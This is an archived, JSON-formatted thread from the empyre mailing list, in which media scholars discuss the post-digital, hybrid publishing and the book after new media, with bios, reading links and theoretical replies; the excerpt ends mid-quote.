                "content": "Hi all,\n\nI would like to introduce the first three guests for the February topic of\nHybrid Bookwork: Alessandro Ludovico, David Berry and Mercedes Bunz. I'll\ncalled the theme for this session, 'Between Paper and Pixels: The Book\nAfter New Media', to outline some of the broad transformations associated\nwith publishing today.\n\nThere are a number of themes that are perhaps taking some note of in order\nto provide some context for the current dynamic and shifting contexts for\nthe innovative practices that we see emerging around publishing (and other\ncontext in cultural production).\n\nBios are as follows:\n\nAlessandro Ludovico is an artist, media critic, and chief editor of Neural\nmagazine since 1993 (http://neural.it). He has published and edited several\nbooks, including his latest 'Post-Digital Print: The Mutation of Publishing\nSince 1894' (Onomatopee 2012). He is one of the founders of Mag.Net\n(Electronic Cultural Publishers organisation), for which co-edited three\nMag.net Readers, and also served as an advisor for the Documenta 12\u2032s\nMagazine Project. He's currently curating the virtual exhibition \"Erreur\nd'Impression\" in the virtual space of Jeu de Paume in Paris. He is one of\nthe authors of the Hacking Monopolism trilogy of artworks (Google Will Eat\nItself, Amazon Noir, Face to Facebook). He's Adjunct Professor at OCAD\nUniversity in Toronto, and teaches at the Academy of Art in Carrara and\nNABA in Milan, and is currently completing a PhD at Anglia Ruskin\nUniversity in Cambridge (UK).\n\nDavid M. Berry is a reader in digital media in the school of media, film\nand music at the University of Sussex. His research interests focus on\nmedia/medium theory, software studies, digital humanities, and technology.\nHe is particularly interested in the methodological and theoretical\nchallenges of digital media and has strong research interests in the\nphilosophy of software and critical theory. His latest book is 'Critical\nTheory and the Digital' (Bloomsbury 2014), and he blogs over at\nhttp://stunlaw.blogspot.nl/\n\nMercedes Bunz is a lecturer in Media Studies at Leuphana University,\nGermany, where she is also Director of the Hybrid Publishing Lab, exploring\nacademic publishing in the digital age. She writes on digital media,\njournalism and the philosophy of technology, and she has been the\ntechnology reporter of The Guardian. Her latest publication is The Silent\nRevolution: How Digitalization Transforms Knowledge, Work, Journalism and\nPolitics Without Making Too Much Noise (Palgrave Pivot 2013). She blogs\nregularly at http://www.mercedes-bunz.de/ and http://hybridpublishing.org/\n\n\nI've been lucky enough to work with each one of them at certain points, and\nI'm thrilled to have them contributing this week! Some background of why\nI've asked them to contribute...\n\nI want to invite Alessandro to start off the discussion. Many of you are no\ndoubt familiar with his work, but if not, I want to draw attention to his\nrecent book, 'Post-Digital Print: The Mutation of Publishing Since 1894'\n(Onomatopee 2012):\nhttp://monoskop.org/images/a/a6/Ludovico,_Alessandro_-_Post-Digital_Print._The_Mutation_of_Publishing_Since_1894.pdf(The\nfact that text is legit available through the Monoskop Log is perhaps\nnoteworthy itself).\n\nI would describe his book as a history of experimental aesthetic practices\narticulated through new publishing technologies, and one that speaks in\nparticular to the concept of the post-digital. More generally, it's a\ntremendous document of a vast array of projects, artworks, print objects,\nbooks, pamphlets and magazines that is characteristic of print culture in\nlate modernity and beyond.\n\nThe post-digital, in particular, is a term that I'm inviting Alessandro to\ndiscuss, along with related ideas that have emerged through his research.\nAnd it's particularly relevant off the back of Transmediale Festival last\nweek given the Post-Digital Research panel and newspaper publication. The\nlatter is a series of short texts that have been collaboratively\npeer-reviewed through a workshop on the topic held at Aarhus University\nlast year: https://tm-resource.projects.cavi.au.dk/?page_id=1291Unfortunately,\na PDF is not available yet, but Alessandro I'm sure will\ngive an impression of the contents of this publication.\n\nDavid, meanwhile, has written on a wide range of topics and subjects from\nf/oss, the philosophy of software, digital humanities, new aesthetic and,\nquite recently, the post-digital. I've invited him to respond and present\nhis current research, and extend the discussion into some reflections on\nepistemological implications and political economy concerns. David and I\nhave also been involved with booksprint events with Adam Hyde, which I\nhaven't mentioned in the outline for this discussion, but certainly seem\nrelevant to the discussion!\n\nFinally, I've asked Mercedes to contribute with her extensive experience as\na journalist and academic covering a range of topics in digital culture,\nincluding a recent in depth study of algorithms and knowledge production.\nShe leads the Hybrid Publishing team of which (full disclosure) I am also\nmember at Leuphana University L\u00fcneburg. I was hoping that she might broaden\nthe discussion with some reflections on Alessandro and David's posts, and\nperhaps provide some further consideration based on the work currently\nbeing done in Leuphana.\n\nAnd of course, I invite all subscribers to chime in, respond and post to\nthe list over the coming days!\n\n\n-- \nMichael Dieter\nLecturer\nMedia Studies\nThe University of Amsterdam\nTurfdraagsterpad 9\n1012 XT Amsterdam\nhttp://home.medewerker.uva.nl/m.j.dieter/\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140204/822f0495/attachment.htm>\n",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006918.html",
                "follow-up": [
                    {
                        "author_name": "Alessandro Ludovico",
                        "from": "a.ludovico at neural.it",
                        "id": "6920",
                        "content": "Thanks Michael for the nice introduction.\n\nIt seems that Post-Digital aspires to become a 'buzzword' lately, but its meaning seems to be not completely acknowledged.\nMany refer to the definition of Kim Cascone in his famous article \"The Aesthetics of Failure: \"Post-digital\" Tendencies in Contemporary Computer Music\", and Wikipedia collects also a fair good amount of other (close) definitions. But many of them are dated a few years ago and still attached to the concept of the digital disappearing in everyday practice, being in a way 'metabolised'.\n\nMy personal definition (given within the Post-digital Research conference and PhD Workshop in Aarhus, in October 2013) is that \"Post-digital is the space left by the (only apparent) absence of digital.\"\nThe \"space\" here is meant as a negotiable abstract space, previously filled by the digital in its evident forms and interfaces, and now perceptually disappeared, although still there, present, active and eventually engaging us in a new relationship also with non-digital reality.\nIn its application to the complex and ever mutating relationship between traditional and digital (or offline and online, if you want) publishing, the concept of the 'hybrid' publications seems to be crucial then.\nI tried to define 'hybrid' as a a publication where it's almost impossible to separate or discern the physical from the digital processes behind, as it'd be the inextricable result of computed processes in a recognisable publishing form (eventually upgradeable or simply changing over time).\nThere are quite a few example of early steps towards the hybrid: Martin Fuchs and Peter Bichsel\u2019s book \u201cWritten Images\", \"American Psycho\" by Mimi Cabell & Jason Huff, Les Liens Invisibles' \"Unhappening, not here not now\", or the recent \"The Death of the Authors, 1941 edition\" by Constant (An Mertens, Femke Snelting).\nStill it seems that we're not there yet, as we'd need more elaborated software instruments transcending the generative paradigm, or a simple inclusion/exclusion logic.\n\nIn this sense the Post-Digital Research newspaper publication represents another attempt, conjugating the reflection around various post-digital approaches with its final printed from, in quite a few textual and graphical interesting processes (used in experimental literature or just borrowed from online free tools) involving the writing form, the expression of the different concepts, and the final visual rendering of all of that.\n\nBut the hybrid would epitomises the metabolisation of digital in a way that it doesn't simply 'disappear' (or better, we are not noticing it anymore), finally becoming one of our daily natural nutrients, with an active role that breaks all the boundaries (being relegated in a device, or to a specific cultural environment that we associate with it).\n\nThis is the starting point of an hypothesis I formulated in the last Transmediale panel, which can maybe sound a bit blatant:\nwhat if digital has been mistaken for a medium but actually is an agent that has transformed existing media? I've started to investigate other traditional media (audio and video, for example) and how their core form is formally still coherent with their analogue one, but substantially transformed by its current digital nature.\n\nThe hybrid in publishing, in this sense, is actually embodying this passage very well, as it points us back to traditional media and their possible active and engaging relationship with the digital. \n\n\nTo add more resources to the list:\n\nthere has been a special issue of Neural called \"Neural #44, Post-Digital Print (Postscript)\" (a friend nicknamed it the \"shameless issue\") which was meant as an addendum to the book with more content related to the topic.\nhttp://neural.it/issues/neural-44-post-digital-print-postscript/\n\nThe Post-Digital Print blog is still in beta, but it'll host within this week also the pdf of all the three Mag.net Readers, free to download:\nhttp://postdigitalprint.org\nIt's meant to be a complement to the terrific resource that Silvio Lorusso is making with its Post-Digital Publishing Archive:\nhttp://p-dpa.net\n\nI'm also curating (for another month and half, with a final special event in Paris on March 11th) \"Erreur d'Impression, Publier \u00e0 l\u2019\u00c8re du Num\u00e9rique\" a virtual exhibition at Jeu de Paume: http://espacevirtuel.jeudepaume.org/erreur-dimpression-1674/\n\nIndeed, Post-Digital Print, the book, has also a physical form (although we successfully experimented with its digital form just before that):\nhttp://www.onomatopee.net/project.php?progID=c3149ad5e7c0b4bb6e80e4c770ee528c\n\nAlthough all more or less connected to my personal work, I hope that they can help the discussion.\n\n\n> I want to invite Alessandro to start off the discussion. Many of you are no doubt familiar with his work, but if not, I want to draw attention to his recent book, 'Post-Digital Print: The Mutation of Publishing Since 1894' (Onomatopee 2012): http://monoskop.org/images/a/a6/Ludovico,_Alessandro_-_Post-Digital_Print._The_Mutation_of_Publishing_Since_1894.pdf (The fact that text is legit available through the Monoskop Log is perhaps noteworthy itself). \n> \n> I would describe his book as a history of experimental aesthetic practices articulated through new publishing technologies, and one that speaks in particular to the concept of the post-digital. More generally, it's a tremendous document of a vast array of projects, artworks, print objects, books, pamphlets and magazines that is characteristic of print culture in late modernity and beyond. \n> \n> The post-digital, in particular, is a term that I'm inviting Alessandro to discuss, along with related ideas that have emerged through his research. And it's particularly relevant off the back of Transmediale Festival last week given the Post-Digital Research panel and newspaper publication. The latter is a series of short texts that have been collaboratively peer-reviewed through a workshop on the topic held at Aarhus University last year: https://tm-resource.projects.cavi.au.dk/?page_id=1291 Unfortunately, a PDF is not available yet, but Alessandro I'm sure will give an impression of the contents of this publication.    \n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140206/7bb5d21b/attachment.htm>\n",
                        "date": "Thu Feb  6 20:42:13 EST 2014",
                        "message-id": "6920",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006920.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "author_name": "adamhyde",
                                "from": "adam at flossmanuals.net",
                                "id": "6921",
                                "content": "hi\n\nI was hoping the conversation would evolve but it seems a little quiet \nso many apologies if I am stepping in and breaking protocol a little but \nI enjoyed Alessandros opening points very much and wanted to ask for his \nfurther comment on one point.\n\n\"what if digital has been mistaken for a medium but actually is an agent \nthat has transformed existing media? I've started to investigate other \ntraditional media (audio and video, for example) and how their core form \nis formally still coherent with their analogue one, but substantially \ntransformed by its current digital nature.\"\n\nI think this is an interesting issue and I was curious if this has been \nthe behaviour of media from the beginning? A cone transformed the voice, \nradio transformed the cone, the codex transformed the scroll etc. I \nbring this up because the 'core form' you refer to is perhaps already a \nmulti-hybridised outcome of decades/centuries of transformation. Perhaps \none of the core roles of any new medium, analog or digital, is to \ntransform the old. Any thoughts to that? If it were true then 'digital' \ncould be *both* a medium and a transformative agent.\n\nadam\n\n\n\nOn 02/06/2014 01:42 AM, Alessandro Ludovico wrote:\n> ----------empyre- soft-skinned space----------------------\n>\n>\n> Thanks Michael for the nice introduction.\n>\n> It seems that Post-Digital aspires to become a 'buzzword' lately, but \n> its meaning seems to be not completely acknowledged.\n> Many refer to the definition of Kim Cascone in his famous article \"The \n> Aesthetics of Failure: \"Post-digital\" Tendencies in Contemporary \n> Computer Music\", and Wikipedia collects also a fair good amount of \n> other (close) definitions. But many of them are dated a few years ago \n> and still attached to the concept of the digital disappearing in \n> everyday practice, being in a way 'metabolised'.\n>\n> My personal definition (given within the \n> Post-digital Research conference and PhD Workshop in Aarhus, in \n> October 2013) is that \"Post-digital is the space left by the (only \n> apparent) absence of digital.\"\n> The \"space\" here is meant as a negotiable abstract space, previously \n> filled by the digital in its evident forms and interfaces, and now \n> perceptually disappeared, although still there, present, active and \n> eventually engaging us in a new relationship also with non-digital \n> reality.\n> In its application to the complex and ever mutating relationship \n> between traditional and digital (or offline and online, if you want) \n> publishing, the concept of the 'hybrid' publications seems to be \n> crucial then.\n> I tried to define 'hybrid' as a a publication where it's almost \n> impossible to separate or discern the physical from the digital \n> processes behind, as it'd be the inextricable result of computed \n> processes in a recognisable publishing form (eventually upgradeable or \n> simply changing over time).\n> There are quite a few example of early steps towards the hybrid: \n> Martin Fuchs and Peter Bichsel's book \"Written Images\", \"American \n> Psycho\" by Mimi Cabell & Jason Huff, Les Liens \n> Invisibles' \"Unhappening, not here not now\", or the recent \"The Death \n> of the Authors, 1941 edition\" by Constant (An Mertens, Femke Snelting).\n> Still it seems that we're not there yet, as we'd need more elaborated \n> software instruments transcending the generative paradigm, or a simple \n> inclusion/exclusion logic.\n>\n> In this sense the Post-Digital Research newspaper publication \n> represents another attempt, conjugating the reflection around various \n> post-digital approaches with its final printed from, in quite a few \n> textual and graphical interesting processes (used in experimental \n> literature or just borrowed from online free tools) involving the \n> writing form, the expression of the different concepts, and the final \n> visual rendering of all of that.\n>\n> But the hybrid would epitomises the metabolisation of digital in a way \n> that it doesn't simply 'disappear' (or better, we are not noticing it \n> anymore), finally becoming one of our daily natural nutrients, with an \n> active role that breaks all the boundaries (being relegated in a \n> device, or to a specific cultural environment that we associate with it).\n>\n> This is the starting point of an hypothesis I formulated in the last \n> Transmediale panel, which can maybe sound a bit blatant:\n> what if digital has been mistaken for a medium but actually is an \n> agent that has transformed existing media? I've started to investigate \n> other traditional media (audio and video, for example) and how their \n> core form is formally still coherent with their analogue one, but \n> substantially transformed by its current digital nature.\n>\n> The hybrid in publishing, in this sense, is actually embodying this \n> passage very well, as it points us back to traditional media and their \n> possible active and engaging relationship with the digital.\n>\n>\n> To add more resources to the list:\n>\n> there has been a special issue of Neural called \"Neural #44, \n> Post-Digital Print (Postscript)\" (a friend nicknamed it the \"shameless \n> issue\") which was meant as an addendum to the book with more content \n> related to the topic.\n> http://neural.it/issues/neural-44-post-digital-print-postscript/\n>\n> The Post-Digital Print blog is still in beta, but it'll host within \n> this week also the pdf of all the three Mag.net <http://Mag.net> \n> Readers, free to download:\n> http://postdigitalprint.org\n> It's meant to be a complement to the terrific resource that Silvio \n> Lorusso is making with its Post-Digital Publishing Archive:\n> http://p-dpa.net\n>\n> I'm also curating (for another month and half, with a final special \n> event in Paris on March 11th) \"Erreur d'Impression, Publier \u00e0 l'\u00c8re du \n> Num\u00e9rique\" a virtual exhibition at Jeu de Paume: \n> http://espacevirtuel.jeudepaume.org/erreur-dimpression-1674/\n>\n> Indeed, Post-Digital Print, the book, has also a physical form \n> (although we successfully experimented with its digital form just \n> before that):\n> http://www.onomatopee.net/project.php?progID=c3149ad5e7c0b4bb6e80e4c770ee528c\n>\n> Although all more or less connected to my personal work, I hope that \n> they can help the discussion.\n>\n>\n>> I want to invite Alessandro to start off the discussion. Many of you \n>> are no doubt familiar with his work, but if not, I want to draw \n>> attention to his recent book, 'Post-Digital Print: The Mutation of \n>> Publishing Since 1894' (Onomatopee 2012): \n>> http://monoskop.org/images/a/a6/Ludovico,_Alessandro_-_Post-Digital_Print._The_Mutation_of_Publishing_Since_1894.pdf \n>> (The fact that text is legit available through the Monoskop Log is \n>> perhaps noteworthy itself).\n>>\n>> I would describe his book as a history of experimental aesthetic \n>> practices articulated through new publishing technologies, and one \n>> that speaks in particular to the concept of the post-digital. More \n>> generally, it's a tremendous document of a vast array of projects, \n>> artworks, print objects, books, pamphlets and magazines that is \n>> characteristic of print culture in late modernity and beyond.\n>>\n>> The post-digital, in particular, is a term that I'm inviting \n>> Alessandro to discuss, along with related ideas that have emerged \n>> through his research. And it's particularly relevant off the back of \n>> Transmediale Festival last week given the Post-Digital Research panel \n>> and newspaper publication. The latter is a series of short texts that \n>> have been collaboratively peer-reviewed through a workshop on the \n>> topic held at Aarhus University last year: \n>> https://tm-resource.projects.cavi.au.dk/?page_id=1291 Unfortunately, \n>> a PDF is not available yet, but Alessandro I'm sure will give an \n>> impression of the contents of this publication.\n>\n>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140208/ef4c87b0/attachment.htm>\n",
                                "date": "Sun Feb  9 07:03:42 EST 2014",
                                "message-id": "6921",
                                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006921.html",
                                "content-type": "n/a",
                                "follow-up": [
                                    {
                                        "from": "M.J.Dieter at uva.nl",
                                        "id": "6922",
                                        "content": "Hi all,\n\nApologies to subscribers for the slow start to this discussion.\nUnfortunately, David Berry has taken ill the past couple of days, so\nwill not able to post to the list until later in the month. I will\nkeep you informed, but I am glad in the meantime that Adam Hyde jumped\nin and raised some questions for Alessandro:\n\n\"> I think this is an interesting issue and I was curious if this has\nbeen the behaviour of media from the beginning? A cone transformed the\nvoice, radio transformed the cone, the codex transformed the scroll\netc. I bring this up because the 'core form' you refer to is perhaps\nalready a multi-hybridised outcome of decades/centuries of\ntransformation. Perhaps one of the core roles of any new medium,\nanalog or digital, is to transform the old. Any thoughts to that? If\nit were true then 'digital' could be *both* a medium and a\ntransformative agent.\"\n\nI'd like to take this a bit further as well, and ask Alessandro and\nMercedes for some response to the term 'digital' and hybrid in the\nfirst place. If it might be taken as a medium and transformative\nagent, then what do different definitions mean for the prefix \"post\"?\nAnd how then does this actually relate to contemporary artistic and\nexperimental practices aligned with the post-digital, or medial\nhybridity?\n\nThe invisibility or absence of the digital itself for these practices\nis, of course, part of the problem. And as Alessandro notes, this is a\nbroader question, since at our present juncture, many aesthetic\ncharacteristics and principles of 'old media' have seemingly been\nmaintained, while a range of compound techniques supported by\nmassively distributed and standardized software also appear ascendant;\nyet this is not always explicitly identified or discussed in terms of\na recognizable and coherent new cultural vernacular.\n\nIn his writing on the topic of the post-digital, Florian Cramer goes\nto great lengths to argue for some precision in defining the digital\nitself as a term, highlighting the fact that it is often aligned with\na kind of high-tech kitsch, rather than described as the basic act of\nmaking discrete. This is a position he already developed in\n'Exe.cut[up]able Statements' and 'Words Made Flesh', where counting,\nseparating and sampling comes to define the digital as an act of\nquantification. In this case, the digital is not simply electronic,\nbut potentially refers to a wide array of cultural techniques that\ninvolve making things discrete. In other words, the magnetic\norientations, electrical impulses or optical arrays of contemporary\ncomputational technologies is merely one subset of the digital broadly\nunderstood. Hopefully, Florian can clarify the significance of these\narguments later on in the month (I hope the summary is alright for\nnow).\n\nIn the meantime, there's another dynamic that is part of our\ncontemporary experience of the digital that I want to highlight for\nthe sake of discussion, and this involves the implementation of\ndiscrete measurements for the purpose of expanding surplus value or\nprofit. In other words, these are the economic lineages that inform\nthe contemporary digital. They exist, for example, in Charles\nBabbage's inspiration from Adam Smith's economic divisions of labor,\nbut applied to the mechanization of mathematical tables in the\ndevelopment of the Difference Engine and (proposed) Analytic Engine.\nEspecially pertinent would be his study of 19th century factories (a\npoint of engagement for Marx), 'On the Economy of Machinery and\nManufacture', and the argument for the digital as the 'division of\nmental labours' whereby certain tedious or monotonous tasks are\ndelegated away to labor and machinery at lowered rates of pay, expense\nand care. This approach is echoed in the articulation of corporate\nsystems analysis in the late 20th century with the kinds of procedural\ninitiatives that Philip Agre insightfully referred to as the capture\nmodel. Similarly, as Bernard Stiegler might put it, there is a process\ninvolving the grammatization of labour here, but one in which a\nfixation on increased profit drives the systematic implementation and\nconfiguration of these digital infrastructures as a disassociated\nmilieu.\n\nPerhaps these are familiar arguments, but I'm interested then in how\nthe digital, understood in this way, can be read in terms of media\ntheory and the idea of there being 'post'? Certainly, these procedures\nare present as a primary mode of producing knowledge in the\ndevelopment of analogue systems and what Friedrich Kittler called\ntechnical media. Maybe the situation today involves something like the\nsimultaneous expansion and diversification of these rationalization\ntechniques in specific ways? That would seem to be argument that Lev\nManovich makes in 'Software Takes Command.' If 'Language of New Media'\nwas based on outlining a formalist account of contemporary\ngrammatization expressed through numerical representation, modularity,\nautomation, variability and transcoding, then his new work looks to\nhow such a language leads itself to far-reaching hybridization through\nthe permanent extendibility of software uses and possibilities.\nSoftware can do this since it functions as an implementation of\ndigital as meta-medium; in Alessandro's account, it infects, but does\nnot entirely remediate. These ideas are, of course, central to\ntheories of computation proposed by the Church-Turing hypothesis or by\nVan Neumann, but Manovich argues Alan Kay should also be taken\nseriously for inaugurating a 'democratization' of this digital\napproach to cultural software development. This sets off a continual\nupheaval in the cultural mode of development associated with cultural\nsoftware today, so that older media formats remain recognizable, yet\nalso become mixed together into a new expressiveness. The challenge\nfor Manovich's highly modernist project is to locate cultural\ntechniques of the present and future within this massively moving\nrevolutionary infrastructure.\n\nThere's also this other interesting aspect of Manovich's argument\nfound in the idea of performance; it's an idea that's been kicking\naround for a while in his work - for instance, in the 'delightful\nnarrative' of Mario falling down a hill (when this actually happens in\na Nintendo game is a bit lost on me btw) - but this is a perspective\nthat is actually quite widespread as a premise of interaction design.\nWe might think of Brenda Laurel's 'Computers as Theatre' or notions of\nstaging found in HCI approaches like those advocated by Bruce\nTognazzini, or Joanna Drucker's use of frame analysis in the context\nof interface theory. Perhaps it would be interesting to connect this\nwith other theories of performativity and identity as well, or power\nin the mode of Jon McKenzie's 'Perform or Else.' Performance in this\nlatter case, interestingly, would also connect to the processes of\nscripted abstraction found in corporate systems analysis and the\nmental division of labour, where 'to perform' equates with accounting\nfor efficiency as value. This is a particular way of thinking through\nwhat the post-digital might mean that I find interesting. Indeed,\ndrawing from Manovich's own interest in the research conducted at\nXerox PARC, these various compulsions are consolidate nicely, for\ninstance, in Tim Mott's idle sketches of office work routines on a bar\nnapkin sometime during the late 1970s. Such hand-drawn images of\nmaking work discrete (they are, therefore, already digital images as a\ngrammar of action) are the inspiration for the iconic representations\nof the contemporary desktop interface. They inscribe workflow analysis\nand commands such as READ, WRITE, OPEN and MOVE as the now familiar\noptions PRINT, FILE, and DELETE:\nhttp://www.designinginteractions.com/img/chapters/ch_1.jpg\n\nWhen considered in terms of socio-political techniques, a series of\nmedial dynamics might then be diagrammed as central to the concerns of\npost-digital aesthetics, things like: delegation, acceleration and\nscaleability (along with Manovich's LoNM terms). These different\nimpulses, what could be read in terms of what Matthew Fuller and Andy\nGoffey call evil media, are often arranged to be extensible in the\nsense that they can broadly be assumed to function as global\ninformation infrastructures. With the post-digital, these are then\ninvestigated through scaled down characteristics or features in\ntranslated material states. The post-digital, therefore, exists as a\n'small' orientation device, but it also raises questions of beauty and\nelegance, and in an exemplary way, speaks to the struggle to make\nsense of digital today in any meaningful register beyond the profit\nmotive and the control of problems.\n\nSo what's interesting to me is how the digital understood in these\nways is rendered or characterized through its absence. Does it come to\nsignify an informational sublimity, perhaps a resources as cultural\nmaterials, a site of excess or dumping ground, some weird array of\nstuff comparable to what Marx once described as dead labor, or perhaps\ncloser to general intellect?\n\nThat's quite a long post, but I guess I wanted to throw some more\nreferences into the mix. There's also a lot of connections, but these\nare just some notes so I'm not sure they are interesting or relevant\nfor people. Perhaps Mercedes has some ideas to add? What, for\ninstance, does the hybrid refer to for the hybrid publishing lab? What\nis the digital for you?\n\n\n-- \nMichael Dieter\nLecturer\nMedia Studies\nThe University of Amsterdam\nTurfdraagsterpad 9\n1012 XT Amsterdam\nhttp://home.medewerker.uva.nl/m.j.dieter/\n",
                                        "date": "Mon Feb 10 03:01:34 EST 2014",
                                        "message-id": "6922",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006922.html",
                                        "content-type": "n/a",
                                        "author_name": "Michael Dieter",
                                        "subject": "[-empyre-] Week One - Between Print and Pixels: Computationality, Post-Digital, Hybrid"
                                    },
                                    {
                                        "from": "a.ludovico at neural.it",
                                        "id": "6933",
                                        "content": "Hi Michael,\n\nonly a few answers to your direct questions.\n\n> \"> I think this is an interesting issue and I was curious if this has\n> been the behaviour of media from the beginning? A cone transformed the\n> voice, radio transformed the cone, the codex transformed the scroll\n> etc. I bring this up because the 'core form' you refer to is perhaps\n> already a multi-hybridised outcome of decades/centuries of\n> transformation. Perhaps one of the core roles of any new medium,\n> analog or digital, is to transform the old. Any thoughts to that? If\n> it were true then 'digital' could be *both* a medium and a\n> transformative agent.\"\n> \n> I'd like to take this a bit further as well, and ask Alessandro and\n> Mercedes for some response to the term 'digital' and hybrid in the\n> first place. If it might be taken as a medium and transformative\n> agent, then what do different definitions mean for the prefix \"post\"?\n\nWell *if* it'd be proven to be somehow true, then post-digital would mean not that digital is now 'assumed', but that digital has already accomplished its main transformations (although it's still an ongoing process).\n\n> And how then does this actually relate to contemporary artistic and\n> experimental practices aligned with the post-digital, or medial\n> hybridity?\n\nIt can still relate in a quite similar way, only that the hybridity (declined in many various ways) would be seen as true embodiment of \"post-digital\", which could not then be eventually claimed for any experimental practice dealing with digital.\n\n> The invisibility or absence of the digital itself for these practices\n> is, of course, part of the problem. And as Alessandro notes, this is a\n> broader question, since at our present juncture, many aesthetic\n> characteristics and principles of 'old media' have seemingly been\n> maintained, while a range of compound techniques supported by\n> massively distributed and standardized software also appear ascendant;\n> yet this is not always explicitly identified or discussed in terms of\n> a recognizable and coherent new cultural vernacular.\n> \n> In his writing on the topic of the post-digital, Florian Cramer goes\n> to great lengths to argue for some precision in defining the digital\n> itself as a term, highlighting the fact that it is often aligned with\n> a kind of high-tech kitsch, rather than described as the basic act of\n> making discrete. This is a position he already developed in\n> 'Exe.cut[up]able Statements' and 'Words Made Flesh', where counting,\n> separating and sampling comes to define the digital as an act of\n> quantification. In this case, the digital is not simply electronic,\n> but potentially refers to a wide array of cultural techniques that\n> involve making things discrete. In other words, the magnetic\n> orientations, electrical impulses or optical arrays of contemporary\n> computational technologies is merely one subset of the digital broadly\n> understood. Hopefully, Florian can clarify the significance of these\n> arguments later on in the month (I hope the summary is alright for\n> now).\n> \n> In the meantime, there's another dynamic that is part of our\n> contemporary experience of the digital that I want to highlight for\n> the sake of discussion, and this involves the implementation of\n> discrete measurements for the purpose of expanding surplus value or\n> profit. In other words, these are the economic lineages that inform\n> the contemporary digital. They exist, for example, in Charles\n> Babbage's inspiration from Adam Smith's economic divisions of labor,\n> but applied to the mechanization of mathematical tables in the\n> development of the Difference Engine and (proposed) Analytic Engine.\n> Especially pertinent would be his study of 19th century factories (a\n> point of engagement for Marx), 'On the Economy of Machinery and\n> Manufacture', and the argument for the digital as the 'division of\n> mental labours' whereby certain tedious or monotonous tasks are\n> delegated away to labor and machinery at lowered rates of pay, expense\n> and care. This approach is echoed in the articulation of corporate\n> systems analysis in the late 20th century with the kinds of procedural\n> initiatives that Philip Agre insightfully referred to as the capture\n> model. Similarly, as Bernard Stiegler might put it, there is a process\n> involving the grammatization of labour here, but one in which a\n> fixation on increased profit drives the systematic implementation and\n> configuration of these digital infrastructures as a disassociated\n> milieu.\n> \n> Perhaps these are familiar arguments, but I'm interested then in how\n> the digital, understood in this way, can be read in terms of media\n> theory and the idea of there being 'post'? Certainly, these procedures\n> are present as a primary mode of producing knowledge in the\n> development of analogue systems and what Friedrich Kittler called\n> technical media. Maybe the situation today involves something like the\n> simultaneous expansion and diversification of these rationalization\n> techniques in specific ways? That would seem to be argument that Lev\n> Manovich makes in 'Software Takes Command.' If 'Language of New Media'\n> was based on outlining a formalist account of contemporary\n> grammatization expressed through numerical representation, modularity,\n> automation, variability and transcoding, then his new work looks to\n> how such a language leads itself to far-reaching hybridization through\n> the permanent extendibility of software uses and possibilities.\n> Software can do this since it functions as an implementation of\n> digital as meta-medium; in Alessandro's account, it infects, but does\n> not entirely remediate.\n\nActually I think that remediation intended as Bolter\u2019s definition: \"the formal logic by which new media refashion prior media forms\" can be seen as a lower lever of hybridisation. A video inserted in a digital publication is refashioning video, but it's not taking into account the whole \"reading experience\" that we have consolidated in centuries, so it's (for the better or worse) disrupting it. Hybridising a digital publication can be more effective using software and networks (eventually in an ever more extreme way than Manovich suggests) to create a unique synthesis, not just \"sampled\" or \"calculated\" from big data, but stringently \"processed\" through different customisable parameters. \n\n> These ideas are, of course, central to\n> theories of computation proposed by the Church-Turing hypothesis or by\n> Van Neumann, but Manovich argues Alan Kay should also be taken\n> seriously for inaugurating a 'democratization' of this digital\n> approach to cultural software development. This sets off a continual\n> upheaval in the cultural mode of development associated with cultural\n> software today, so that older media formats remain recognizable, yet\n> also become mixed together into a new expressiveness. The challenge\n> for Manovich's highly modernist project is to locate cultural\n> techniques of the present and future within this massively moving\n> revolutionary infrastructure.\n> \n> There's also this other interesting aspect of Manovich's argument\n> found in the idea of performance; it's an idea that's been kicking\n> around for a while in his work - for instance, in the 'delightful\n> narrative' of Mario falling down a hill (when this actually happens in\n> a Nintendo game is a bit lost on me btw) - but this is a perspective\n> that is actually quite widespread as a premise of interaction design.\n> We might think of Brenda Laurel's 'Computers as Theatre' or notions of\n> staging found in HCI approaches like those advocated by Bruce\n> Tognazzini, or Joanna Drucker's use of frame analysis in the context\n> of interface theory. Perhaps it would be interesting to connect this\n> with other theories of performativity and identity as well, or power\n> in the mode of Jon McKenzie's 'Perform or Else.' Performance in this\n> latter case, interestingly, would also connect to the processes of\n> scripted abstraction found in corporate systems analysis and the\n> mental division of labour, where 'to perform' equates with accounting\n> for efficiency as value. This is a particular way of thinking through\n> what the post-digital might mean that I find interesting. Indeed,\n> drawing from Manovich's own interest in the research conducted at\n> Xerox PARC, these various compulsions are consolidate nicely, for\n> instance, in Tim Mott's idle sketches of office work routines on a bar\n> napkin sometime during the late 1970s. Such hand-drawn images of\n> making work discrete (they are, therefore, already digital images as a\n> grammar of action) are the inspiration for the iconic representations\n> of the contemporary desktop interface. They inscribe workflow analysis\n> and commands such as READ, WRITE, OPEN and MOVE as the now familiar\n> options PRINT, FILE, and DELETE:\n> http://www.designinginteractions.com/img/chapters/ch_1.jpg\n> \n> When considered in terms of socio-political techniques, a series of\n> medial dynamics might then be diagrammed as central to the concerns of\n> post-digital aesthetics, things like: delegation, acceleration and\n> scaleability (along with Manovich's LoNM terms). These different\n> impulses, what could be read in terms of what Matthew Fuller and Andy\n> Goffey call evil media, are often arranged to be extensible in the\n> sense that they can broadly be assumed to function as global\n> information infrastructures. With the post-digital, these are then\n> investigated through scaled down characteristics or features in\n> translated material states. The post-digital, therefore, exists as a\n> 'small' orientation device, but it also raises questions of beauty and\n> elegance, and in an exemplary way, speaks to the struggle to make\n> sense of digital today in any meaningful register beyond the profit\n> motive and the control of problems.\n> \n> So what's interesting to me is how the digital understood in these\n> ways is rendered or characterized through its absence. Does it 